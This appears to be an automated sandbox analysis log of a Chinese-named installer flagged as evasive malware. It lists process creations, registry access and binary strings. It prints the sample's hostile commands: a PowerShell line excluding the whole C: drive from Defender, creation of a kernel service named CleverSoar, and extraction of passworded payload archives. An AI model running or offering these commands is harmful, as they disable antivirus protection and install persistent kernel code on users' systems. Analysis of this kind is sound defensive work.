Source: C:\Program Files (x86)\Windows NT\7zr.exeCode function: 10_2_00B6379010_2_00B63790
Source: C:\Program Files (x86)\Windows NT\7zr.exeCode function: 10_2_00B877C010_2_00B877C0
Source: C:\Program Files (x86)\Windows NT\7zr.exeCode function: 10_2_00B1F8E010_2_00B1F8E0
Source: C:\Program Files (x86)\Windows NT\7zr.exeCode function: 10_2_00B6F91010_2_00B6F910
Source: C:\Program Files (x86)\Windows NT\7zr.exeCode function: 10_2_00B77AF010_2_00B77AF0
Source: C:\Program Files (x86)\Windows NT\7zr.exeCode function: 10_2_00B43AEF10_2_00B43AEF
Source: C:\Program Files (x86)\Windows NT\7zr.exeCode function: 10_2_00B0BAC910_2_00B0BAC9
Source: C:\Program Files (x86)\Windows NT\7zr.exeCode function: 10_2_00B0BC9210_2_00B0BC92
Source: C:\Program Files (x86)\Windows NT\7zr.exeCode function: 10_2_00B77C5010_2_00B77C50
Source: C:\Program Files (x86)\Windows NT\7zr.exeCode function: 10_2_00B6FDF010_2_00B6FDF0
Source: C:\Program Files (x86)\Windows NT\7zr.exeProcess token adjusted: SecurityJump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-6SCB4.tmp\#U5b89#U88c5#U52a9#U624b_2.0.6.tmpCode function: String function: 6CAF6F10 appears 728 times
Source: C:\Users\user\AppData\Local\Temp\is-6SCB4.tmp\#U5b89#U88c5#U52a9#U624b_2.0.6.tmpCode function: String function: 6CA59240 appears 53 times
Source: C:\Program Files (x86)\Windows NT\7zr.exeCode function: String function: 00B8FB10 appears 723 times
Source: C:\Program Files (x86)\Windows NT\7zr.exeCode function: String function: 00AF28E3 appears 34 times
Source: C:\Program Files (x86)\Windows NT\7zr.exeCode function: String function: 00AF1E40 appears 171 times
Source: #U5b89#U88c5#U52a9#U624b_2.0.6.tmp.0.drStatic PE information: Resource name: RT_RCDATA type: PE32+ executable (console) x86-64, for MS Windows
Source: #U5b89#U88c5#U52a9#U624b_2.0.6.tmp.5.drStatic PE information: Resource name: RT_RCDATA type: PE32+ executable (console) x86-64, for MS Windows
Source: #U5b89#U88c5#U52a9#U624b_2.0.6.exeStatic PE information: Number of sections : 11 > 10
Source: #U5b89#U88c5#U52a9#U624b_2.0.6.tmp.5.drStatic PE information: Number of sections : 11 > 10
Source: #U5b89#U88c5#U52a9#U624b_2.0.6.tmp.0.drStatic PE information: Number of sections : 11 > 10
Source: #U5b89#U88c5#U52a9#U624b_2.0.6.exe, 00000000.00000003.2080391705.000000007F23A000.00000004.00001000.00020000.00000000.sdmpBinary or memory string: OriginalFileNameSSRClient.exe vs #U5b89#U88c5#U52a9#U624b_2.0.6.exe
Source: #U5b89#U88c5#U52a9#U624b_2.0.6.exe, 00000000.00000000.2078119623.0000000000639000.00000002.00000001.01000000.00000003.sdmpBinary or memory string: OriginalFileNameSSRClient.exe vs #U5b89#U88c5#U52a9#U624b_2.0.6.exe
Source: #U5b89#U88c5#U52a9#U624b_2.0.6.exe, 00000000.00000003.2080019112.00000000034AE000.00000004.00001000.00020000.00000000.sdmpBinary or memory string: OriginalFileNameSSRClient.exe vs #U5b89#U88c5#U52a9#U624b_2.0.6.exe
Source: #U5b89#U88c5#U52a9#U624b_2.0.6.exeBinary or memory string: OriginalFileNameSSRClient.exe vs #U5b89#U88c5#U52a9#U624b_2.0.6.exe
Source: #U5b89#U88c5#U52a9#U624b_2.0.6.exeStatic PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE
Source: tProtect.dll.12.drBinary string: \Device\TfSysMon
Source: tProtect.dll.12.drBinary string: \Device\TfKbMonPWLCache
Source: classification engineClassification label: mal88.evad.winEXE@134/32@0/0
Source: C:\Users\user\AppData\Local\Temp\is-6SCB4.tmp\#U5b89#U88c5#U52a9#U624b_2.0.6.tmpCode function: 6_2_6CA25D60 OpenProcessToken,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,NtInitiatePowerAction,6_2_6CA25D60
Source: C:\Program Files (x86)\Windows NT\7zr.exeCode function: 10_2_00AF9313 _isatty,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,GetLastError,CloseHandle,10_2_00AF9313
Source: C:\Program Files (x86)\Windows NT\7zr.exeCode function: 10_2_00B03D66 __EH_prolog,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,GetLastError,10_2_00B03D66
Source: C:\Program Files (x86)\Windows NT\7zr.exeCode function: 10_2_00AF9252 DeviceIoControl,GetModuleHandleW,GetProcAddress,GetDiskFreeSpaceW,10_2_00AF9252
Source: C:\Users\user\AppData\Local\Temp\is-6SCB4.tmp\#U5b89#U88c5#U52a9#U624b_2.0.6.tmpCode function: 6_2_6CA25240 CreateToolhelp32Snapshot,CloseHandle,Process32NextW,Process32FirstW,6_2_6CA25240
Source: C:\Users\user\AppData\Local\Temp\is-6SCB4.tmp\#U5b89#U88c5#U52a9#U624b_2.0.6.tmpFile created: C:\Program Files (x86)\Windows NT\is-QJ471.tmpJump to behavior
Source: C:\Windows\System32\conhost.exeMutant created: \BaseNamedObjects\Local\SM0:1264:120:WilError_03
Source: C:\Windows\System32\conhost.exeMutant created: \BaseNamedObjects\Local\SM0:7092:120:WilError_03
Source: C:\Windows\System32\conhost.exeMutant created: \BaseNamedObjects\Local\SM0:6004:120:WilError_03
Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4308:120:WilError_03
Source: C:\Windows\System32\conhost.exeMutant created: \BaseNamedObjects\Local\SM0:2212:120:WilError_03
Source: C:\Windows\System32\conhost.exeMutant created: \BaseNamedObjects\Local\SM0:4676:120:WilError_03
Source: C:\Windows\System32\conhost.exeMutant created: \BaseNamedObjects\Local\SM0:4416:120:WilError_03
Source: C:\Windows\System32\conhost.exeMutant created: \BaseNamedObjects\Local\SM0:3608:120:WilError_03
Source: C:\Windows\System32\conhost.exeMutant created: \BaseNamedObjects\Local\SM0:6500:120:WilError_03
Source: C:\Windows\System32\conhost.exeMutant created: \BaseNamedObjects\Local\SM0:1868:120:WilError_03
Source: C:\Windows\System32\conhost.exeMutant created: \BaseNamedObjects\Local\SM0:1472:120:WilError_03
Source: C:\Windows\System32\conhost.exeMutant created: \BaseNamedObjects\Local\SM0:1272:120:WilError_03
Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3056:120:WilError_03
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeMutant created: NULL
Source: C:\Windows\System32\conhost.exeMutant created: \BaseNamedObjects\Local\SM0:5624:120:WilError_03
Source: C:\Windows\System32\conhost.exeMutant created: \BaseNamedObjects\Local\SM0:7140:120:WilError_03
Source: C:\Windows\System32\conhost.exeMutant created: \BaseNamedObjects\Local\SM0:6516:120:WilError_03
Source: C:\Windows\System32\conhost.exeMutant created: \BaseNamedObjects\Local\SM0:1268:120:WilError_03
Source: C:\Windows\System32\conhost.exeMutant created: \BaseNamedObjects\Local\SM0:5560:120:WilError_03
Source: C:\Windows\System32\conhost.exeMutant created: \BaseNamedObjects\Local\SM0:7164:120:WilError_03
Source: C:\Windows\System32\conhost.exeMutant created: \BaseNamedObjects\Local\SM0:4324:120:WilError_03
Source: C:\Windows\System32\conhost.exeMutant created: \BaseNamedObjects\Local\SM0:6504:120:WilError_03
Source: C:\Windows\System32\conhost.exeMutant created: \BaseNamedObjects\Local\SM0:1476:120:WilError_03
Source: C:\Windows\System32\conhost.exeMutant created: \BaseNamedObjects\Local\SM0:3012:120:WilError_03
Source: C:\Windows\System32\conhost.exeMutant created: \BaseNamedObjects\Local\SM0:984:120:WilError_03
Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5792:120:WilError_03
Source: C:\Windows\System32\conhost.exeMutant created: \BaseNamedObjects\Local\SM0:1600:120:WilError_03
Source: C:\Windows\System32\conhost.exeMutant created: \BaseNamedObjects\Local\SM0:3396:120:WilError_03
Source: C:\Windows\System32\conhost.exeMutant created: \BaseNamedObjects\Local\SM0:3656:120:WilError_03
Source: C:\Windows\System32\conhost.exeMutant created: \BaseNamedObjects\Local\SM0:5780:120:WilError_03
Source: C:\Users\user\Desktop\#U5b89#U88c5#U52a9#U624b_2.0.6.exeFile created: C:\Users\user\AppData\Local\Temp\is-U5HAP.tmpJump to behavior
Source: C:\Users\user\Desktop\#U5b89#U88c5#U52a9#U624b_2.0.6.exeKey opened: HKEY_CURRENT_USER\Software\Borland\Delphi\LocalesJump to behavior
Source: C:\Users\user\Desktop\#U5b89#U88c5#U52a9#U624b_2.0.6.exeKey opened: HKEY_CURRENT_USER\Software\Borland\Delphi\LocalesJump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-U5HAP.tmp\#U5b89#U88c5#U52a9#U624b_2.0.6.tmpKey opened: HKEY_CURRENT_USER\Software\Borland\Delphi\LocalesJump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-U5HAP.tmp\#U5b89#U88c5#U52a9#U624b_2.0.6.tmpKey opened: HKEY_CURRENT_USER\Software\Borland\Delphi\LocalesJump to behavior
Source: C:\Users\user\Desktop\#U5b89#U88c5#U52a9#U624b_2.0.6.exeKey opened: HKEY_CURRENT_USER\Software\Borland\Delphi\LocalesJump to behavior
Source: C:\Users\user\Desktop\#U5b89#U88c5#U52a9#U624b_2.0.6.exeKey opened: HKEY_CURRENT_USER\Software\Borland\Delphi\LocalesJump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-6SCB4.tmp\#U5b89#U88c5#U52a9#U624b_2.0.6.tmpKey opened: HKEY_CURRENT_USER\Software\Borland\Delphi\LocalesJump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-6SCB4.tmp\#U5b89#U88c5#U52a9#U624b_2.0.6.tmpKey opened: HKEY_CURRENT_USER\Software\Borland\Delphi\LocalesJump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-U5HAP.tmp\#U5b89#U88c5#U52a9#U624b_2.0.6.tmpFile read: C:\Users\user\Desktop\desktop.iniJump to behavior
Source: C:\Users\user\Desktop\#U5b89#U88c5#U52a9#U624b_2.0.6.exeKey opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiersJump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-U5HAP.tmp\#U5b89#U88c5#U52a9#U624b_2.0.6.tmpKey value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion RegisteredOrganizationJump to behavior
Source: #U5b89#U88c5#U52a9#U624b_2.0.6.tmp, 00000006.00000002.2273779196.00000000047C9000.00000004.00001000.00020000.00000000.sdmp, is-0F5J3.tmp.6.drBinary or memory string: UPDATE %Q.sqlite_master SET tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqliteX_autoindex%%' ESCAPE 'X' AND type='index' THEN 'sqlite_autoindex_' || %Q || substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');
Source: #U5b89#U88c5#U52a9#U624b_2.0.6.tmp, 00000006.00000002.2273779196.00000000047C9000.00000004.00001000.00020000.00000000.sdmp, is-0F5J3.tmp.6.drBinary or memory string: CREATE TABLE %Q.'%q_docsize'(docid INTEGER PRIMARY KEY, size BLOB);
Source: #U5b89#U88c5#U52a9#U624b_2.0.6.tmp, 00000006.00000002.2273779196.00000000047C9000.00000004.00001000.00020000.00000000.sdmp, is-0F5J3.tmp.6.drBinary or memory string: CREATE TABLE IF NOT EXISTS %Q.'%q_stat'(id INTEGER PRIMARY KEY, value BLOB);
Source: #U5b89#U88c5#U52a9#U624b_2.0.6.tmp, 00000006.00000002.2273779196.00000000047C9000.00000004.00001000.00020000.00000000.sdmp, is-0F5J3.tmp.6.drBinary or memory string: CREATE TABLE %Q.'%q_segdir'(level INTEGER,idx INTEGER,start_block INTEGER,leaves_end_block INTEGER,end_block INTEGER,root BLOB,PRIMARY KEY(level, idx));
Source: #U5b89#U88c5#U52a9#U624b_2.0.6.tmp, 00000006.00000002.2273779196.00000000047C9000.00000004.00001000.00020000.00000000.sdmp, is-0F5J3.tmp.6.drBinary or memory string: SELECT data FROM %Q.'%q_node' WHERE nodeno=?Node %lld missing from databaseNode %lld is too small (%d bytes)Rtree depth out of range (%d)Node %lld is too small for cell count of %d (%d bytes)Dimension %d of cell %d on node %lld is corruptDimension %d of cell %d on node %lld is corrupt relative to parentwrong number of arguments to function rtreecheck()SELECT * FROM %Q.'%q_rowid'Schema corrupt or not an rtree_rowid_parentENDSELECT count(*) FROM %Q.'%q_%s'cannot open value of type %sno such rowid: %lldforeign keyindexedcannot open virtual table: %scannot open table without rowid: %scannot open view: %sno such column: "%s"cannot open %s column for writingblockDELETE FROM %Q.'%q_data';DELETE FROM %Q.'%q_idx';DELETE FROM %Q.'%q_docsize';version%s_nodedata_shape does not contain a valid polygon
Source: #U5b89#U88c5#U52a9#U624b_2.0.6.tmp, 00000006.00000002.2273779196.00000000047C9000.00000004.00001000.00020000.00000000.sdmp, is-0F5J3.tmp.6.drBinary or memory string: INSERT INTO %Q.sqlite_master VALUES('index',%Q,%Q,#%d,%Q);
Source: #U5b89#U88c5#U52a9#U624b_2.0.6.tmp, 00000006.00000002.2273779196.00000000047C9000.00000004.00001000.00020000.00000000.sdmp, is-0F5J3.tmp.6.drBinary or memory string: CREATE TABLE %Q.'%q_segments'(blockid INTEGER PRIMARY KEY, block BLOB);
Source: #U5b89#U88c5#U52a9#U624b_2.0.6.tmp, 00000006.00000002.2273779196.00000000047C9000.00000004.00001000.00020000.00000000.sdmp, is-0F5J3.tmp.6.drBinary or memory string: SELECT %s WHERE rowid = ?SELECT rowid, rank FROM %Q.%Q ORDER BY %s("%w"%s%s) %sinvalid rootpageorphan indexsqlite_stat%dDELETE FROM %Q.%s WHERE %s=%QDELETE FROM %Q.sqlite_master WHERE name=%Q AND type='trigger'corrupt schemaUPDATE %Q.sqlite_master SET rootpage=%d WHERE #%d AND rootpage=#%dstattable %s may not be droppeduse DROP TABLE to delete table %suse DROP VIEW to delete view %stblDELETE FROM %Q.sqlite_sequence WHERE name=%QDELETE FROM %Q.sqlite_master WHERE tbl_name=%Q and type!='trigger' UNIQUEindexcannot create a TEMP index on non-TEMP table "%s"table %s may not be indexedviews may not be indexedvirtual tables may not be indexedthere is already a table named %sindex %s already existssqlite_autoindex_%s_%dexpressions prohibited in PRIMARY KEY and UNIQUE constraintsconflicting ON CONFLICT clauses specifiedCREATE%s INDEX %.*sINSERT INTO %Q.sqlite_master VALUES('index',%Q,%Q,#%d,%Q);name='%q' AND type='index'table "%s" has more than one primary keyAUTOINCREMENT is only allowed on an INTEGER PRIMARY KEYTABLEVIEW
Source: #U5b89#U88c5#U52a9#U624b_2.0.6.tmp, 00000006.00000002.2273779196.00000000047C9000.00000004.00001000.00020000.00000000.sdmp, is-0F5J3.tmp.6.drBinary or memory string: CREATE TABLE "%w"."%w_parent"(nodeno INTEGER PRIMARY KEY,parentnode);
Source: #U5b89#U88c5#U52a9#U624b_2.0.6.exeVirustotal: Detection: 6%
Source: #U5b89#U88c5#U52a9#U624b_2.0.6.exeString found in binary or memory: /LOADINF="filename"
Source: C:\Users\user\Desktop\#U5b89#U88c5#U52a9#U624b_2.0.6.exeFile read: C:\Users\user\Desktop\#U5b89#U88c5#U52a9#U624b_2.0.6.exeJump to behavior
Source: unknownProcess created: C:\Users\user\Desktop\#U5b89#U88c5#U52a9#U624b_2.0.6.exe "C:\Users\user\Desktop\#U5b89#U88c5#U52a9#U624b_2.0.6.exe"
Source: C:\Users\user\Desktop\#U5b89#U88c5#U52a9#U624b_2.0.6.exeProcess created: C:\Users\user\AppData\Local\Temp\is-U5HAP.tmp\#U5b89#U88c5#U52a9#U624b_2.0.6.tmp "C:\Users\user\AppData\Local\Temp\is-U5HAP.tmp\#U5b89#U88c5#U52a9#U624b_2.0.6.tmp" /SL5="$20432,4753239,845824,C:\Users\user\Desktop\#U5b89#U88c5#U52a9#U624b_2.0.6.exe"
Source: C:\Users\user\AppData\Local\Temp\is-U5HAP.tmp\#U5b89#U88c5#U52a9#U624b_2.0.6.tmpProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" -Command "Add-MpPreference -ExclusionPath 'C:\'"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\is-U5HAP.tmp\#U5b89#U88c5#U52a9#U624b_2.0.6.tmpProcess created: C:\Users\user\Desktop\#U5b89#U88c5#U52a9#U624b_2.0.6.exe "C:\Users\user\Desktop\#U5b89#U88c5#U52a9#U624b_2.0.6.exe" /VERYSILENT
Source: C:\Users\user\Desktop\#U5b89#U88c5#U52a9#U624b_2.0.6.exeProcess created: C:\Users\user\AppData\Local\Temp\is-6SCB4.tmp\#U5b89#U88c5#U52a9#U624b_2.0.6.tmp "C:\Users\user\AppData\Local\Temp\is-6SCB4.tmp\#U5b89#U88c5#U52a9#U624b_2.0.6.tmp" /SL5="$20442,4753239,845824,C:\Users\user\Desktop\#U5b89#U88c5#U52a9#U624b_2.0.6.exe" /VERYSILENT
Source: unknownProcess created: C:\Windows\System32\cmd.exe cmd /c start sc create CleverSoar displayname= CleverSoar binPath= "C:\Program Files (x86)\Windows NT\tProtect.dll" type= kernel start= auto
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\sc.exe sc create CleverSoar displayname= CleverSoar binPath= "C:\Program Files (x86)\Windows NT\tProtect.dll" type= kernel start= auto
Source: C:\Windows\System32\sc.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\is-6SCB4.tmp\#U5b89#U88c5#U52a9#U624b_2.0.6.tmpProcess created: C:\Program Files (x86)\Windows NT\7zr.exe 7zr.exe x -y res.dat -pad8dtyw9eyfd9aslyd9iald
Source: C:\Program Files (x86)\Windows NT\7zr.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\is-6SCB4.tmp\#U5b89#U88c5#U52a9#U624b_2.0.6.tmpProcess created: C:\Program Files (x86)\Windows NT\7zr.exe 7zr.exe x -y locale3.dat -pasfasdf79yf9layslofs
Source: C:\Program Files (x86)\Windows NT\7zr.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknownProcess created: C:\Windows\System32\cmd.exe cmd /c start sc start CleverSoar
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\sc.exe sc start CleverSoar
Source: C:\Windows\System32\sc.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknownProcess created: C:\Windows\System32\cmd.exe cmd /c start sc start CleverSoar
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\sc.exe sc start CleverSoar
Source: C:\Windows\System32\sc.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknownProcess created: C:\Windows\System32\cmd.exe cmd /c start sc start CleverSoar
Source: C:\Users\user\Desktop\#U5b89#U88c5#U52a9#U624b_2.0.6.exeProcess created: C:\Windows\System32\sc.exe sc start CleverSoar
Source: C:\Windows\System32\sc.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\wbem\WmiPrvSE.exe C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
Source: unknownProcess created: C:\Windows\System32\cmd.exe cmd /c start sc start CleverSoar
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\sc.exe sc start CleverSoar
Source: C:\Windows\System32\conhost.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknownProcess created: C:\Windows\System32\cmd.exe cmd /c start sc start CleverSoar
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\sc.exe sc start CleverSoar
Source: C:\Windows\System32\sc.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknownProcess created: C:\Windows\System32\cmd.exe cmd /c start sc start CleverSoar
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\sc.exe sc start CleverSoar
Source: C:\Windows\System32\sc.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknownProcess created: C:\Windows\System32\cmd.exe cmd /c start sc start CleverSoar
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\sc.exe sc start CleverSoar
Source: C:\Windows\System32\sc.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\#U5b89#U88c5#U52a9#U624b_2.0.6.exeProcess created: C:\Windows\System32\sc.exe sc start CleverSoar
Source: C:\Windows\System32\sc.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknownProcess created: C:\Windows\System32\cmd.exe cmd /c start sc start CleverSoar
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\sc.exe sc start CleverSoar
Source: C:\Windows\System32\sc.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknownProcess created: C:\Windows\System32\cmd.exe cmd /c start sc start CleverSoar
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\sc.exe sc start CleverSoar
Source: C:\Windows\System32\sc.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknownProcess created: C:\Windows\System32\cmd.exe cmd /c start sc start CleverSoar
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\sc.exe sc start CleverSoar
Source: C:\Windows\System32\sc.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknownProcess created: C:\Windows\System32\cmd.exe cmd /c start sc start CleverSoar
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\sc.exe sc start CleverSoar
Source: C:\Windows\System32\sc.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknownProcess created: C:\Windows\System32\cmd.exe cmd /c start sc start CleverSoar
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\sc.exe sc start CleverSoar
Source: C:\Windows\System32\sc.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\sc.exe sc start CleverSoar
Source: C:\Windows\System32\sc.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\#U5b89#U88c5#U52a9#U624b_2.0.6.exeProcess created: C:\Windows\System32\sc.exe sc start CleverSoar
Source: C:\Windows\System32\sc.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknownProcess created: C:\Windows\System32\cmd.exe cmd /c start sc start CleverSoar
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\sc.exe sc start CleverSoar
Source: C:\Windows\System32\sc.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknownProcess created: C:\Windows\System32\cmd.exe cmd /c start sc start CleverSoar
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\sc.exe sc start CleverSoar
Source: C:\Windows\System32\sc.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknownProcess created: C:\Windows\System32\cmd.exe cmd /c start sc start CleverSoar
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\sc.exe sc start CleverSoar
Source: C:\Windows\System32\sc.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknownProcess created: C:\Windows\System32\cmd.exe cmd /c start sc start CleverSoar
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\sc.exe sc start CleverSoar
Source: C:\Windows\System32\conhost.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknownProcess created: C:\Windows\System32\cmd.exe cmd /c start sc start CleverSoar
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\sc.exe sc start CleverSoar
Source: unknownProcess created: C:\Windows\System32\cmd.exe cmd /c start sc start CleverSoar
Source: C:\Windows\System32\sc.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\sc.exe sc start CleverSoar
Source: C:\Windows\System32\sc.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\is-6SCB4.tmp\#U5b89#U88c5#U52a9#U624b_2.0.6.tmpProcess created: C:\Windows\System32\cmd.exe cmd /c start sc start CleverSoar
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\sc.exe sc start CleverSoar
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\sc.exe sc start CleverSoar
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknownProcess created: C:\Windows\System32\cmd.exe cmd /c start sc start CleverSoar
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\sc.exe sc start CleverSoar
Source: C:\Windows\System32\conhost.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknownProcess created: C:\Windows\System32\cmd.exe cmd /c start sc start CleverSoar
Source: C:\Windows\System32\conhost.exeProcess created: C:\Windows\System32\sc.exe sc start CleverSoar
Source: C:\Users\user\AppData\Local\Temp\is-U5HAP.tmp\#U5b89#U88c5#U52a9#U624b_2.0.6.tmpProcess created: C:\Windows\System32\sc.exe sc start CleverSoar
Source: unknownProcess created: C:\Windows\System32\cmd.exe cmd /c start sc start CleverSoar
Source: C:\Windows\System32\sc.exeProcess created: C:\Windows\System32\sc.exe sc start CleverSoar
Source: C:\Windows\System32\sc.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknownProcess created: C:\Windows\System32\cmd.exe cmd /c start sc start CleverSoar
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\sc.exe sc start CleverSoar
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\sc.exe sc start CleverSoar
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\sc.exe sc start CleverSoar
Source: C:\Windows\System32\sc.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknownProcess created: C:\Windows\System32\cmd.exe cmd /c start sc start CleverSoar
Source: C:\Windows\System32\sc.exeProcess created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\#U5b89#U88c5#U52a9#U624b_2.0.6.exeProcess created: C:\Users\user\AppData\Local\Temp\is-U5HAP.tmp\#U5b89#U88c5#U52a9#U624b_2.0.6.tmp "C:\Users\user\AppData\Local\Temp\is-U5HAP.tmp\#U5b89#U88c5#U52a9#U624b_2.0.6.tmp" /SL5="$20432,4753239,845824,C:\Users\user\Desktop\#U5b89#U88c5#U52a9#U624b_2.0.6.exe" Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-U5HAP.tmp\#U5b89#U88c5#U52a9#U624b_2.0.6.tmpProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" -Command "Add-MpPreference -ExclusionPath 'C:\'"Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-U5HAP.tmp\#U5b89#U88c5#U52a9#U624b_2.0.6.tmpProcess created: C:\Users\user\Desktop\#U5b89#U88c5#U52a9#U624b_2.0.6.exe "C:\Users\user\Desktop\#U5b89#U88c5#U52a9#U624b_2.0.6.exe" /VERYSILENTJump to behavior
Source: C:\Users\user\Desktop\#U5b89#U88c5#U52a9#U624b_2.0.6.exeProcess created: C:\Users\user\AppData\Local\Temp\is-6SCB4.tmp\#U5b89#U88c5#U52a9#U624b_2.0.6.tmp "C:\Users\user\AppData\Local\Temp\is-6SCB4.tmp\#U5b89#U88c5#U52a9#U624b_2.0.6.tmp" /SL5="$20442,4753239,845824,C:\Users\user\Desktop\#U5b89#U88c5#U52a9#U624b_2.0.6.exe" /VERYSILENTJump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-6SCB4.tmp\#U5b89#U88c5#U52a9#U624b_2.0.6.tmpProcess created: C:\Program Files (x86)\Windows NT\7zr.exe 7zr.exe x -y res.dat -pad8dtyw9eyfd9aslyd9ialdJump to behavior
